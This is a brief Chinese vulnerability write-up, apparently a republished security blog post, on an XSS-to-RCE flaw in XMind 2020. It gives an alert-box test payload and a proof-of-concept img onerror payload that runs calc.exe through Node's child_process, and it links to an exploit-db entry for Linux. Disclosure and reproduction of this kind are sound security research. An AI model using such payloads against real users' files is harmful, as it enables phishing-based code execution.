XMIND存在XSS执行RCE漏洞

2021年9月1日20:08:24评论110 views字数 629阅读2分5秒阅读模式

△△△点击上方“蓝字”关注我们了解更多精彩

0x00 Preface [前言/简介]

2021年5月10日，360漏洞云监测到Xmind 2020存在XSS漏洞，攻击者可以借助该漏洞实现命令执行，在实际环境中借助钓鱼攻击可能造成更严重的危害。

XMIND存在XSS执行RCE漏洞

0x01 复现环境

XMind 2020 202101070032（官网目前提供的下载版本）

XMIND存在XSS执行RCE漏洞

0x02 漏洞复现

正常弹框payload：<img src=1 onerror=alert("1")>，注意，需要按下功能键才能触发。

XMIND存在XSS执行RCE漏洞

弹计算器payload：
<img src=# onerror="require('child_process').exec('calc.exe',null);">

XMIND存在XSS执行RCE漏洞

linux版本参考：
https://www.exploit-db.com/exploits/49827

0x03 修复建议

下载的windows版本就是最新的版本，至于修复建议，请谨慎打开xmind防止钓鱼。

参考链接：https://mp.weixin.qq.com/s/JCj4yPN5ORGt1WGc7gpuDQ

END

如您有任何投稿、问题、建议、需求、合作、请后台留言NOVASEC公众号！

XMIND存在XSS执行RCE漏洞

或添加NOVASEC-MOYU 以便于及时回复。

XMIND存在XSS执行RCE漏洞

感谢大哥们的对NOVASEC的支持点赞和关注

加入我们与萌新一起成长吧！

本团队任何技术及文件仅用于学习分享，请勿用于任何违法活动，感谢大家的支持！！

本文始发于微信公众号（NOVASEC）：XMIND存在XSS执行RCE漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

JeeWMS cgAutoListController.do SQL注入漏洞